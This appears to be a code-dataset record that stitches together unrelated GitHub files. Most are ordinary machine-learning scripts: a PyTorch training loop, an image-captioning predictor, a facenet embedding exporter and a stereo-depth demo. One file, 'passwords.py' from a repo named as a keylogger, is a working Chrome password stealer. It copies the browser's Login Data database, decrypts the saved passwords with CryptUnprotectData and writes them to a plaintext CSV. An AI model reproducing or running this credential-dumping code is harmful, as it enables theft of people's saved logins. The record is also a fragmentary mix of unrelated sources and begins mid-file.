self.state.core.stop_train = False\n print(f\"Early stopped on {epoch + 1} epoch\")\n break\n\n self.callbacks.on_train_end(self.state)\n finally:\n self.state.core.pbar.close()\n self.state.core.do_log = False\n self.callbacks = callbacks\n\n def kek_one_cycle(self,\n max_lr: float,\n cycle_len: int,\n momentum_range: Tuple[float, float] = (0.95, 0.85),\n div_factor: float = 25,\n increase_fraction: float = 0.3,\n opt: Optional[Type[torch.optim.Optimizer]] = None,\n opt_params: Optional[Dict] = None,\n logdir: Optional[Union[str, Path]] = None,\n cp_saver_params: Optional[Dict] = None,\n early_stop_params: Optional[Dict] = None) -> None:\n \"\"\"Kek your model to the moon with One Cycle policy!\n\n Conducts a one-cycle train-val procedure with several options for\n customization.\n For info about One Cycle policy please see:\n https://arxiv.org/abs/1803.09820\n https://sgugger.github.io/the-1cycle-policy.html\n\n Args:\n max_lr: the maximum learning rate that will be achieved during\n training process\n cycle_len: the number of full passes through the training dataset.\n It is quite similar to epochs number\n momentum_range: the range of optimizers momentum changes\n div_factor: is equal to max_lr / min_lr during one-cycle training\n increase_fraction: the fraction of the whole iterations during which\n the learning rate will increase\n opt: torch optimizer. If specified, than specified optimizer will be\n used for this train-val procedure, else the default one.\n opt_params: The kwargs dict for custom optimizer initialization.\n It should contain any opt params you want EXCEPT learning rate,\n Can be defined even for default optimizer.\n logdir: If provided, the TBLogger will be created and tensorboard\n logs will be written in this directory.\n For more info see kekas.callbacks.TBLogger and example ipynb's.\n cp_saver_params: kwargs dict parameters for CheckpointSaverCallback.\n If provided, then a CheckpointSaverCallback will be created.\n For more info see kekas.callbacks.CheckpointSaverCallback\n and example ipynb's.\n early_stop_params: kwargs dict parameters for EarlyStoppingCallback.\n If provided, then a EarlyStoppingCallback will be created.\n For more info see kekas.callbacks.EarlyStoppingCallback\n and example ipynb's.\n \"\"\"\n\n callbacks = self.callbacks\n\n # temporarily add OneCycle callback\n len_loader = len(self.state.core.dataowner.train_dl)\n one_cycle_cb = OneCycleLR(max_lr, cycle_len, len_loader,\n momentum_range, div_factor, increase_fraction)\n\n try:\n self.callbacks = Callbacks(callbacks.callbacks + [one_cycle_cb])\n\n self.kek(lr=max_lr,\n epochs=cycle_len,\n opt=opt,\n opt_params=opt_params,\n logdir=logdir,\n cp_saver_params=cp_saver_params,\n early_stop_params=early_stop_params)\n finally:\n # set old callbacks without OneCycle\n self.callbacks = callbacks\n\n def kek_lr(self,\n final_lr: float,\n logdir: Union[str, Path],\n init_lr: float = 1e-6,\n n_steps: Optional[int] = None,\n opt: Optional[Type[torch.optim.Optimizer]] = None,\n opt_params: Optional[Dict] = None) -> None:\n \"\"\"Help you kek your model to the moon by finding \"optimal\" lr!\n\n Conducts the learning rate find procedure.\n For info please see:\n https://arxiv.org/abs/1803.09820\n https://sgugger.github.io/how-do-you-find-a-good-learning-rate.html\n\n Args:\n final_lr: the learning rate at the end of the lr find process\n logdir: the directory for tensorboard logs, that will allow you\n analyze the loss dynamic.\n init_lr: the learning rate at the start of the lr find process\n n_steps: the number of iterations of lr find process. If provided\n finding process will stop at this iteration, else lr find\n process will last one epoch\n opt: torch optimizer. If specified, than specified optimizer will be\n used for this train-val procedure, else the default one.\n opt_params: The kwargs dict for custom optimizer initialization.\n It should contain any opt params you want EXCEPT learning rate,\n Can be defined even for default optimizer.\n \"\"\"\n\n logdir = Path(logdir)\n logdir.mkdir(exist_ok=True)\n tmp_cp = logdir / \"tmp.h5\"\n self.save(tmp_cp)\n\n\n len_loader = len(self.state.core.dataowner.train_dl)\n n_steps = max(n_steps if n_steps is not None else 0, len_loader)\n n_epochs = max(1, int(np.ceil(n_steps / len_loader)))\n\n callbacks = self.callbacks\n\n try:\n lrfinder_cb = LRFinder(final_lr=final_lr,\n init_lr=init_lr,\n n_steps=n_steps)\n\n self.callbacks = Callbacks(self.core_callbacks + [lrfinder_cb])\n self.kek(lr=init_lr, epochs=n_epochs, skip_val=True, logdir=logdir,\n opt=opt, opt_params=opt_params)\n finally:\n self.callbacks = callbacks\n self.load(tmp_cp)\n tmp_cp.unlink()\n\n def _run_epoch(self,\n epoch: int,\n epochs: int) -> None:\n \"\"\"Run one epoch of train-val procedure\n\n Args:\n epoch: number of the current epoch\n epochs: total number of epochs\n \"\"\"\n self.callbacks.on_epoch_begin(epoch, epochs, self.state)\n\n with torch.set_grad_enabled(self.is_train):\n for i, batch in enumerate(self.state.core.loader):\n self.callbacks.on_batch_begin(i, self.state)\n\n self.state.core.batch = self.to_device(batch)\n\n self.state.core.out = self.step()\n\n self.callbacks.on_batch_end(i, self.state)\n\n if (self.state.core.stop_iter and self.state.core.mode == \"train\"\n and i == self.state.core.stop_iter - 1):\n # break only in train mode and if early stop is set\n self.state.core.stop_epoch = True\n\n if self.state.core.stop_epoch:\n self.state.core.stop_epoch = False\n # st()\n break\n\n self.callbacks.on_epoch_end(epoch, self.state)\n\n if self.state.core.checkpoint:\n self.save(self.state.core.checkpoint)\n self.state.core.checkpoint = \"\"\n\n @staticmethod\n def default_step_fn(model: torch.nn.Module,\n batch: torch.Tensor) -> torch.Tensor:\n \"\"\"Determine what your model will do with your data.\n\n Args:\n model: the pytorch module to pass input in\n batch: the batch of data from the DataLoader\n\n Returns:\n The models forward pass results\n \"\"\"\n inp = batch[\"image\"]\n return model(inp)\n\n def step(self) -> Dict[str, torch.Tensor]:\n \"\"\"The step function that calls each iteration.\n Wraps the self.step_fn to provide a dict of predictions\n\n Returns:\n the dict that contains prediction tensor for the batch.\n \"\"\"\n preds = self.step_fn(model=self.state.core.model,\n batch=self.state.core.batch)\n\n return {self.preds_key: preds}\n\n def predict(self,\n savepath: Optional[Union[str, Path]] = None\n ) -> Union[None, np.ndarray]:\n \"\"\"Infer the model on test dataloader and saves prediction as numpy array\n\n Args:\n savepath: the directory to save predictions. If not passed,\n the method will return a numpy array of predictions.\n \"\"\"\n return self.predict_loader(loader=self.state.core.dataowner.test_dl,\n savepath=savepath)\n\n def predict_loader(self,\n loader: DataLoader,\n savepath: Optional[Union[str, Path]] = None\n ) -> Union[None, np.ndarray]:\n \"\"\"Infer the model on dataloader and saves prediction as numpy array\n\n Args:\n loader: the dataloader for generating predictions\n savepath: the directory to save predictions. If not passed,\n the method will return a numpy array of predictions.\n \"\"\"\n callbacks = self.callbacks\n\n tmp_callbacks = Callbacks([ProgressBarCallback(),\n PredictionsSaverCallback(savepath,\n self.preds_key)])\n\n self.callbacks = tmp_callbacks\n\n self.state.core.mode = \"test\"\n self.state.core.loader = loader\n self.state.core.model.eval()\n with torch.set_grad_enabled(False):\n self._run_epoch(1, 1)\n\n self.callbacks = callbacks\n\n preds = self.state.core.preds\n self.state.core.preds = None\n return preds\n\n def predict_tensor(self,\n tensor: Type[torch.Tensor],\n to_numpy: bool = False) -> Union[Type[torch.Tensor],\n np.ndarray]:\n \"\"\"Infer the model on one torch Tensor.\n\n Args:\n tensor: torch tensor to predict on.\n Should has [batch_size, *(one_sample_shape)] shape\n to_numpy: if True, converts predictions to numpy array\n\n Returns:\n Predictions on input tensor.\n \"\"\"\n tensor = tensor.to(self.device)\n with torch.set_grad_enabled(False):\n self.set_mode(\"test\")\n preds = self.state.core.model(tensor)\n\n # dataparallel workaround\n if isinstance(preds, list):\n preds = torch.cat(preds)\n if to_numpy:\n preds = preds.cpu().numpy()\n return preds\n\n def predict_array(self,\n array: np.ndarray,\n to_numpy: bool = False) -> Union[Type[torch.Tensor],\n np.ndarray]:\n \"\"\"Infer the model on one numpy array.\n\n Args:\n array: numpy array to predict on.\n Should has [batch_size, *(one_sample_shape)] shape\n to_numpy: if True, converts predictions to numpy array\n\n Returns:\n Predictions on input tensor.\n \"\"\"\n tensor = torch.from_numpy(array)\n return self.predict_tensor(tensor, to_numpy)\n\n def TTA(self,\n loader: DataLoader,\n tfms: Union[List, Dict],\n savedir: Union[str, Path],\n prefix: str = \"preds\") -> None:\n \"\"\"Conduct the test-time augmentations procedure.\n\n Create predictions for each set of provided transformations and saves\n each prediction in savedir as a numpy arrays.\n\n Args:\n loader: loader to predict\n tfms: the list with torchvision.transforms or\n the dict with {\"name\": torchvision.transforms} pairs.\n List indexes or dict keys will be used for generating\n predictions names.\n savedir: the directory to save predictions\n prefix: the prefix for predictions files names\n \"\"\"\n if isinstance(tfms, dict):\n names = [f\"{prefix}_{k}.npy\" for k in tfms]\n tfms = tfms.values()\n elif isinstance(tfms, list):\n names = [f\"{prefix}_{i}.npy\" for i in range(len(tfms))]\n else:\n raise ValueError(f\"Transforms should be List or Dict, \"\n f\"got {type(tfms)}\")\n\n default_tfms = loader.dataset.transforms\n for name, tfm in zip(names, tfms):\n loader.dataset.transforms = tfm\n savepath = Path(savedir) / name\n self.predict_loader(loader, savepath)\n loader.dataset.transforms = default_tfms\n\n def save(self, savepath: Union[str, Path]) -> None:\n \"\"\"Save models state dict on the specified path.\n\n Args:\n savepath: the path to save the state dict.\n \"\"\"\n savepath = Path(savepath)\n savepath.parent.mkdir(exist_ok=True)\n torch.save(self.state.core.model.state_dict(), savepath)\n\n def load(self,\n loadpath: Union[str, Path],\n skip_wrong_shape: bool = False) -> None:\n \"\"\"Loads models state dict from the specified path.\n\n Args:\n loadpath: the path from which the state dict will be loaded.\n skip_wrong_shape: If False, will raise an exception if checkpoints\n weigths shape doesn't match models weights shape.\n If True, will skip unmatched weights and load only matched.\n \"\"\"\n loadpath = Path(loadpath)\n checkpoint = torch.load(loadpath,\n map_location=lambda storage, loc: storage)\n\n # workaround DataParallelModel\n if not isinstance(self.state.core.model, DataParallelModel) \\\n and \"module.\" in list(checkpoint.keys())[0]:\n # [7:] is to skip 'module.' in group name\n checkpoint = {k[7:]: v for k, v in checkpoint.items()}\n\n load_state_dict(model=self.state.core.model,\n state_dict=checkpoint,\n skip_wrong_shape=skip_wrong_shape)\n\n def to_device(self,\n batch: Dict[str, torch.Tensor]) -> Dict[str, torch.Tensor]:\n \"\"\"Moves tensors in batch to self.device.\n\n Args:\n batch: the batch dict.\n\n Returns:\n The batch dict with tensors on self.device.\n \"\"\"\n return {k: v.to(self.device) for k, v in batch.items()\n if hasattr(v, \"to\")}\n\n def set_mode(self, mode: str) -> None:\n \"\"\"Set the model to train or val and switch dataloaders\n\n Args:\n mode: 'train', 'val' or 'test', the mode of training procedure.\n \"\"\"\n if mode == \"train\":\n self.state.core.model.train()\n self.state.core.loader = self.state.core.dataowner.train_dl\n elif mode == \"val\":\n self.state.core.model.eval()\n self.state.core.loader = self.state.core.dataowner.val_dl\n elif mode == \"test\":\n self.state.core.model.eval()\n self.state.core.loader = self.state.core.dataowner.test_dl\n self.state.core.mode = mode\n\n def freeze_to(self,\n n: int,\n freeze_bn: bool = False,\n model_attr: Optional[str] = None) -> None:\n \"\"\"Freeze model or model's part till specified layer.\n\n Args:\n n: the layer number to freeze to\n freeze_bn: if True batchnorm layers will be frozen too\n model_attr: the name of the model attribute if you want to specify\n when you want to freeze layers.\n For examples see example ipynb's.\n \"\"\"\n\n module = self.get_model_attr(model_attr)\n freeze_to(module, n, freeze_bn)\n\n def freeze(self,\n freeze_bn: bool = False,\n model_attr: Optional[str] = None) -> None:\n \"\"\"Freeze model or model's part till the last layer\n\n Args:\n freeze_bn: if True batchnorm layers will be frozen too\n model_attr: the name of the model attribute if you want to specify\n when you want to freeze layers.\n For examples see example ipynb's.\n \"\"\"\n module = self.get_model_attr(model_attr)\n freeze(module, freeze_bn)\n\n def unfreeze(self,\n model_attr: Optional[str] = None) -> None:\n \"\"\"Unfreeze all model or model's part layers.\n\n Args:\n model_attr: the name of the model attribute if you want to specify\n when you want to freeze layers.\n For examples see example ipynb's.\n \"\"\"\n module = self.get_model_attr(model_attr)\n unfreeze(module)\n\n def get_model_attr(self, model_attr: Union[str, None]) -> torch.nn.Module:\n \"\"\"Get models attribute by name or return the model if name is None.\n\n Args:\n model_attr: models attribute name to get. If none, than the model\n will be returned.\n\n Returns:\n The models attribute or the model itself.\n \"\"\"\n if self.state.core.parallel:\n model = self.state.core.model.module\n else:\n model = self.state.core.model\n\n if model_attr is not None:\n module = getattr(model, model_attr)\n else:\n module = model\n return module\n\n def add_callbacks(self, callbacks: List[Callback]) -> None:\n \"\"\"Add callbacks to the beginning of self.callbacks\"\"\"\n self.callbacks = Callbacks(callbacks + self.callbacks.callbacks)\n\n @staticmethod\n def plot_kek(logdir: Union[str, Path],\n step: Optional[str] = \"batch\",\n metrics: Optional[List[str]] = None,\n height: Optional[int] = None,\n width: Optional[int] = None) -> None:\n \"\"\"Plots your keks results in Jupyter Notebook.\n\n Args:\n logdir: the logdir that was specified during kek.\n step: 'batch' or 'epoch' - what logs to show: for batches or\n for epochs\n metrics: list of metrics to plot. The loss should be specified as\n 'loss', learning rate = 'lr' and other metrics should be\n specified as names in metrics dict that was specified during kek\n height: the height of the whole resulting plot\n width: the width of the whole resulting plot\n\n \"\"\"\n assert step in [\"batch\", \"epoch\"], f\"Step should be either 'batch' or\" \\\n f\"'epoch', got '{step}'\"\n plot_tensorboard_log(logdir, step, metrics, height, width)\n\n @staticmethod\n def plot_kek_lr(logdir: Union[str, Path],\n height: Optional[int] = None,\n width: Optional[int] = None) -> None:\n \"\"\"Plots learing rate finding results in Jupyter Notebook\n Args:\n logdir: the logdir that was specified during kek_lr.\n height: the height of the whole resulting plot\n width: the width of the whole resulting plot\n \"\"\"\n step = \"batch\"\n metrics = [\"loss\", \"lr\"]\n plot_tensorboard_log(logdir, step, metrics, height, width)\n\n @property\n def is_train(self) -> bool:\n return self.state.core.mode == \"train\"\n" ]
[ [ "numpy.ceil", "torch.cat", "torch.cuda.device_count", "torch.from_numpy", "torch.cuda.is_available", "torch.load", "torch.set_grad_enabled" ] ]
jhona-09/K-lo-Smart-Keylogger
[ "600a53452860d4ea659f509a1163dcf178c1052e" ]
[ "python/passwords.py" ]
[ "import sqlite3 \r\nimport pandas.io.sql\r\nimport pandas \r\nimport os \r\nimport win32crypt\r\nimport shutil, getpass\r\nfrom shutil import copyfile \r\nimport time, threading\r\nimport csv \r\n\r\ndef contrachrome():\r\n\r\n##copia archivo de login data de chrome a carpeta local \r\n\tsrc =\"C:\\\\Users\\\\%s\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\" %(getpass.getuser())\r\n\tdest=os.getcwd() \r\n\r\n\tdef copyFile(src,dest):\r\n\t\ttry:\r\n\t\t\tshutil.copy(src,dest)\r\n\t\t\r\n\t\texcept shutil.Error as e:\r\n\t\t\tprint('Error: %s' %e)\r\n\r\n\r\n\tcopyFile(src,dest)\r\n##copia archivo de login data de chrome a carpeta local \r\n\r\n\r\n\r\n#crea base de datos del login data y exporta a csv \r\n\tdata_path = os.getcwd()\r\n\tfiles = os.listdir(data_path)\r\n\tpass_db = os.path.join(data_path,'Login Data')\r\n\r\n\tc = sqlite3.connect(pass_db)\r\n\tcursor = c.cursor()\r\n\tpand=pandas.io.sql.read_sql(\"SELECT origin_url, username_value, password_value FROM logins\", c)\r\n\tpand.to_csv('contras.csv')\r\n\r\n\tselect_query = (\"SELECT action_url, username_value, password_value FROM logins\")\r\n\tcursor.execute(select_query)\r\n\r\n\tdatos_login = cursor.fetchall()\r\n\t#print(datos_login)\r\n\t\t\r\n\t#Se crea archivo csv y se decifran las contraseñas para después escribrse dentro el mismo csv\r\n\twith open('passwords.csv','w') as output_file:\r\n\t\tcsv_writer=csv.writer(output_file, quoting=csv.QUOTE_ALL)\r\n\t\theaders= []\r\n\t\tcsv_writer.writerow(headers) \r\n\t\tfor result in datos_login:\r\n\t\t\tpwd = win32crypt.CryptUnprotectData(result[2],None,None,None,0)[1] \r\n\t\t\tlista_final = (('Sitio', result[0]) + ('Usuario', result[1]) + ('Contraseña(lo que esta entre comillas)', pwd))\r\n\t\t\tcsv_writer.writerow(lista_final)\r\n\toutput_file.close()\r\n\r\n\r\ncontrachrome()\r\n\r\n" ]
[ [ "pandas.io.sql.read_sql" ] ]
Oizys18/IMG_CAPTION
[ "1a4a5b733bda5976915be4482dd204fcb4319567" ]
[ "predict.py" ]
[ "import tensorflow as tf\nimport os\nimport numpy as np\nfrom data.preprocess import load_image\nfrom models.encoder import CNN_Encoder\nfrom models.decoder import RNN_Decoder\nimport pickle\nfrom train import embedding_dim, units, vocab_size, img_name_train, img_name_val, max_length, cap_val\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nfrom config import config\nfrom pathlib import Path\n\n\nencoder = CNN_Encoder(embedding_dim)\ndecoder = RNN_Decoder(embedding_dim, units, vocab_size)\nnum_steps = len(img_name_train)\n\n\nBASE_DIR = os.path.join(config.base_dir, 'datasets')\ntokenizer_path = os.path.join(BASE_DIR, 'tokenizer.pkl')\nwith open(tokenizer_path, 'rb') as f:\n tokenizer = pickle.load(f)\n\nattention_features_shape = 64\n\n\ndef evaluate(image):\n image_model = tf.keras.applications.InceptionV3(\n include_top=False, weights='imagenet')\n new_input = image_model.input\n hidden_layer = image_model.layers[-1].output\n image_features_extract_model = tf.keras.Model(new_input, hidden_layer)\n\n attention_plot = np.zeros((max_length, attention_features_shape))\n\n hidden = decoder.reset_state(batch_size=1)\n\n temp_input = tf.expand_dims(load_image(image)[0], 0)\n img_tensor_val = image_features_extract_model(\n temp_input)\n img_tensor_val = tf.reshape(\n img_tensor_val, (img_tensor_val.shape[0], -1, img_tensor_val.shape[3]))\n\n features = encoder(img_tensor_val)\n\n dec_input = tf.expand_dims([tokenizer.word_index['<start>']], 0)\n result = []\n\n for i in range(max_length):\n predictions, hidden, attention_weights = decoder(\n dec_input, features, hidden)\n\n attention_plot[i] = tf.reshape(attention_weights, (-1, )).numpy()\n\n predicted_id = tf.random.categorical(predictions, 1)[0][0].numpy()\n result.append(tokenizer.index_word[predicted_id])\n\n if tokenizer.index_word[predicted_id] == '<end>':\n return result, attention_plot\n\n dec_input = tf.expand_dims([predicted_id], 0)\n\n attention_plot = attention_plot[:len(result), :]\n return result, attention_plot\n\n\ndef plot_attention(image, result, attention_plot):\n temp_image = np.array(Image.open(image))\n\n fig = plt.figure(figsize=(10, 10))\n\n len_result = len(result)\n for l in range(len_result):\n temp_att = np.resize(attention_plot[l], (8, 8))\n ax = fig.add_subplot(len_result//2, len_result//2, l+1)\n ax.set_title(result[l])\n img = ax.imshow(temp_image)\n ax.imshow(temp_att, cmap='gray', alpha=0.6, extent=img.get_extent())\n\n plt.tight_layout()\n plt.show()\n\n\nrid = np.random.randint(0, len(img_name_val))\nimage = f\"{Path(config.base_dir,'datasets','images',img_name_val[rid])}\"\nreal_caption = ' '.join([tokenizer.index_word[i]\n for i in cap_val[rid] if i not in [0]])\n\nresult, attention_plot = evaluate(image)\nprint(img_name_val[rid])\nprint('Real Caption:', real_caption)\nprint('Prediction Caption:', ' '.join(result))\nplot_attention(image, result, attention_plot)\n\nimg = Image.open(image)\nw, h = img.size\nplt.text(0, h+50, 'Real Caption: {}\\nPrediction Caption: {}'.format(real_caption, ' '.join(result)), fontsize=12)\nplt.imshow(img)\nplt.show()\n" ]
[ [ "tensorflow.random.categorical", "numpy.zeros", "tensorflow.expand_dims", "tensorflow.reshape", "matplotlib.pyplot.figure", "tensorflow.keras.applications.InceptionV3", "numpy.resize", "tensorflow.keras.Model", "matplotlib.pyplot.tight_layout", "matplotlib.pyplot.show", "matplotlib.pyplot.imshow" ] ]
oleg96/facenet
[ "ec1decb90784b8e480f81b388961e5a9ec3cf58d" ]
[ "contributed/export_embeddings.py" ]
[ "\"\"\"\nExports the embeddings and labels of a directory of images as numpy arrays.\n\nTypicall usage expect the image directory to be of the openface/facenet form and\nthe images to be aligned. Simply point to your model and your image directory:\n python facenet/contributed/export_embeddings.py ~/models/facenet/20170216-091149/ ~/datasets/lfw/mylfw\n\nOutput:\nembeddings.npy -- Embeddings as np array, Use --embeddings_name to change name\nlabels.npy -- Integer labels as np array, Use --labels_name to change name\nlabel_strings.npy -- Strings from folders names, --labels_strings_name to change name\n\n\nUse --image_batch to dictacte how many images to load in memory at a time.\n\nIf your images aren't already pre-aligned, use --is_aligned False\n\nI started with compare.py from David Sandberg, and modified it to export\nthe embeddings. The image loading is done use the facenet library if the image\nis pre-aligned. If the image isn't pre-aligned, I use the compare.py function.\nI've found working with the embeddings useful for classifications models.\n\nCharles Jekel 2017\n\n\"\"\"\n\n# MIT License\n#\n# Copyright (c) 2016 David Sandberg\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport time\nfrom scipy import misc\nimport tensorflow as tf\nimport numpy as np\nimport sys\nimport os\nimport argparse\nimport facenet\nimport align.detect_face\nimport glob\n\nfrom six.moves import xrange\n\ndef main(args):\n train_set = facenet.get_dataset(args.data_dir)\n image_list, label_list = facenet.get_image_paths_and_labels(train_set)\n # fetch the classes (labels as strings) exactly as it's done in get_dataset\n path_exp = os.path.expanduser(args.data_dir)\n classes = [path for path in os.listdir(path_exp) \\\n if os.path.isdir(os.path.join(path_exp, path))]\n classes.sort()\n # get the label strings\n label_strings = [name for name in classes if \\\n os.path.isdir(os.path.join(path_exp, name))]\n\n with tf.Graph().as_default(),tf.device('/device:GPU:0'):\n\n with tf.Session() as sess:\n\n # Load the model\n facenet.load_model(args.model_dir)\n\n # Get input and output tensors\n images_placeholder = tf.get_default_graph().get_tensor_by_name(\"input:0\")\n embeddings = tf.get_default_graph().get_tensor_by_name(\"embeddings:0\")\n phase_train_placeholder = tf.get_default_graph().get_tensor_by_name(\"phase_train:0\")\n\n # Run forward pass to calculate embeddings\n nrof_images = len(image_list)\n print('Number of images: ', nrof_images)\n batch_size = args.image_batch\n if nrof_images % batch_size == 0:\n nrof_batches = nrof_images // batch_size\n else:\n nrof_batches = (nrof_images // batch_size) + 1\n print('Number of batches: ', nrof_batches)\n embedding_size = embeddings.get_shape()[1]\n emb_array = np.zeros((nrof_images, embedding_size))\n start_time = time.time()\n\n for i in range(nrof_batches):\n if i == nrof_batches -1:\n n = nrof_images\n else:\n n = i*batch_size + batch_size\n # Get images for the batch\n if args.is_aligned is True:\n images = facenet.load_data(image_list[i*batch_size:n], False, False, args.image_size)\n else:\n images = load_and_align_data(image_list[i*batch_size:n], args.image_size, args.margin, args.gpu_memory_fraction)\n feed_dict = { images_placeholder: images, phase_train_placeholder:False }\n # Use the facenet model to calcualte embeddings\n embed = sess.run(embeddings, feed_dict=feed_dict)\n emb_array[i*batch_size:n, :] = embed\n print('Completed batch', i+1, 'of', nrof_batches)\n\n run_time = time.time() - start_time\n print('Run time: ', run_time)\n\n # export emedings and labels\n label_list = np.array(label_list)\n\n np.save(args.embeddings_name, emb_array)\n np.save(args.labels_name, label_list)\n label_strings = np.array(label_strings)\n np.save(args.labels_strings_name, label_strings[label_list])\n\n\ndef load_and_align_data(image_paths, image_size, margin, gpu_memory_fraction):\n\n minsize = 20 # minimum size of face\n threshold = [ 0.6, 0.7, 0.7 ] # three steps's threshold\n factor = 0.709 # scale factor\n\n print('Creating networks and loading parameters')\n with tf.Graph().as_default(),tf.device('/device:GPU:0'):\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=gpu_memory_fraction)\n sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, log_device_placement=False))\n with sess.as_default():\n pnet, rnet, onet = align.detect_face.create_mtcnn(sess, None)\n\n nrof_samples = len(image_paths)\n img_list = [None] * nrof_samples\n for i in xrange(nrof_samples):\n print(image_paths[i])\n img = misc.imread(os.path.expanduser(image_paths[i]))\n img_size = np.asarray(img.shape)[0:2]\n bounding_boxes, _ = align.detect_face.detect_face(img, minsize, pnet, rnet, onet, threshold, factor)\n det = np.squeeze(bounding_boxes[0,0:4])\n bb = np.zeros(4, dtype=np.int32)\n bb[0] = np.maximum(det[0]-margin/2, 0)\n bb[1] = np.maximum(det[1]-margin/2, 0)\n bb[2] = np.minimum(det[2]+margin/2, img_size[1])\n bb[3] = np.minimum(det[3]+margin/2, img_size[0])\n cropped = img[bb[1]:bb[3],bb[0]:bb[2],:]\n aligned = misc.imresize(cropped, (image_size, image_size), interp='bilinear')\n prewhitened = facenet.prewhiten(aligned)\n img_list[i] = prewhitened\n images = np.stack(img_list)\n return images\n\ndef parse_arguments(argv):\n parser = argparse.ArgumentParser()\n parser.add_argument('model_dir', type=str,\n help='Directory containing the meta_file and ckpt_file')\n parser.add_argument('data_dir', type=str,\n help='Directory containing images. If images are not already aligned and cropped include --is_aligned False.')\n parser.add_argument('--is_aligned', type=str,\n help='Is the data directory already aligned and cropped?', default=True)\n parser.add_argument('--image_size', type=int,\n help='Image size (height, width) in pixels.', default=160)\n parser.add_argument('--margin', type=int,\n help='Margin for the crop around the bounding box (height, width) in pixels.',\n default=44)\n parser.add_argument('--gpu_memory_fraction', type=float,\n help='Upper bound on the amount of GPU memory that will be used by the process.',\n default=1.0)\n parser.add_argument('--image_batch', type=int,\n help='Number of images stored in memory at a time. Default 500.',\n default=500)\n\n # numpy file Names\n parser.add_argument('--embeddings_name', type=str,\n help='Enter string of which the embeddings numpy array is saved as.',\n default='embeddings.npy')\n parser.add_argument('--labels_name', type=str,\n help='Enter string of which the labels numpy array is saved as.',\n default='labels.npy')\n parser.add_argument('--labels_strings_name', type=str,\n help='Enter string of which the labels as strings numpy array is saved as.',\n default='label_strings.npy')\n return parser.parse_args(argv)\n\nif __name__ == '__main__':\n main(parse_arguments(sys.argv[1:]))\n" ]
[ [ "numpy.array", "numpy.asarray", "numpy.zeros", "numpy.minimum", "tensorflow.get_default_graph", "tensorflow.Graph", "tensorflow.Session", "scipy.misc.imresize", "numpy.save", "tensorflow.ConfigProto", "numpy.stack", "tensorflow.device", "numpy.squeeze", "tensorflow.GPUOptions", "numpy.maximum" ] ]
Nephys222/ONNX-HITNET-Stereo-Depth-estimation
[ "9e1172c8e975809ede76166151a2e31865284fea" ]
[ "drivingStereoTest.py" ]
[ "import cv2\nimport pafy\nimport numpy as np\nimport glob\nfrom hitnet import HitNet, ModelType, draw_disparity, draw_depth, CameraConfig, load_img\n\nout = cv2.VideoWriter('outpy2.avi',cv2.VideoWriter_fourcc('M','J','P','G'), 60, (879*3,400))\n\n# Get image list\nleft_images = glob.glob('DrivingStereo images/left/*.jpg')\nleft_images.sort()\nright_images = glob.glob('DrivingStereo images/right/*.jpg')\nright_images.sort()\ndepth_images = glob.glob('DrivingStereo images/depth/*.png')\ndepth_images.sort()\n\n# Select model type\nmodel_type = ModelType.middlebury\n# model_type = ModelType.flyingthings\n# model_type = ModelType.eth3d\n\nif model_type == ModelType.middlebury:\n\tmodel_path = \"models/middlebury_d400/saved_model_480x640/model_float32.onnx\"\nelif model_type == ModelType.flyingthings:\n\tmodel_path = \"models/flyingthings_finalpass_xl/saved_model_480x640/model_float32.onnx\"\nelif model_type == ModelType.eth3d:\n\tmodel_path = \"models/eth3d/saved_model_480x640/model_float32.onnx\"\n\ninput_width = 640\ncamera_config = CameraConfig(0.546, 2000/1920*input_width) # rough estimate from the original calibration\nmax_distance = 30\n\n# Initialize model\nhitnet_depth = HitNet(model_path, model_type, camera_config)\n\ncv2.namedWindow(\"Estimated depth\", cv2.WINDOW_NORMAL)\t\nfor left_path, right_path, depth_path in zip(left_images[700:], right_images[700:], depth_images[700:]):\n\n\t# Read frame from the video\n\tleft_img = cv2.imread(left_path)\n\tright_img = cv2.imread(right_path)\n\tdepth_img = cv2.imread(depth_path, cv2.IMREAD_UNCHANGED).astype(np.float32)/256\n\n\t# Estimate the depth\n\tdisparity_map = hitnet_depth(left_img, right_img)\n\tdepth_map = hitnet_depth.get_depth()\n\n\tcolor_disparity = draw_disparity(disparity_map)\n\tcolor_depth = draw_depth(depth_map, max_distance)\n\tcolor_real_depth = draw_depth(depth_img, max_distance)\n\n\tcolor_depth = cv2.resize(color_depth, (left_img.shape[1],left_img.shape[0]))\n\tcobined_image = np.hstack((left_img,color_real_depth, color_depth))\n\n\tout.write(cobined_image)\n\tcv2.imshow(\"Estimated depth\", cobined_image)\n\n\t# Press key q to stop\n\tif cv2.waitKey(1) == ord('q'):\n\t\tbreak\n\nout.release()\ncv2.destroyAllWindows()" ]
[ [ "numpy.hstack" ] ]
LUX23/lab3_web
[ "6cb0bfb0138ca672ca0584c8698bb4f6b1f0a1cc" ]
[ "flaskapp/net.py" ]
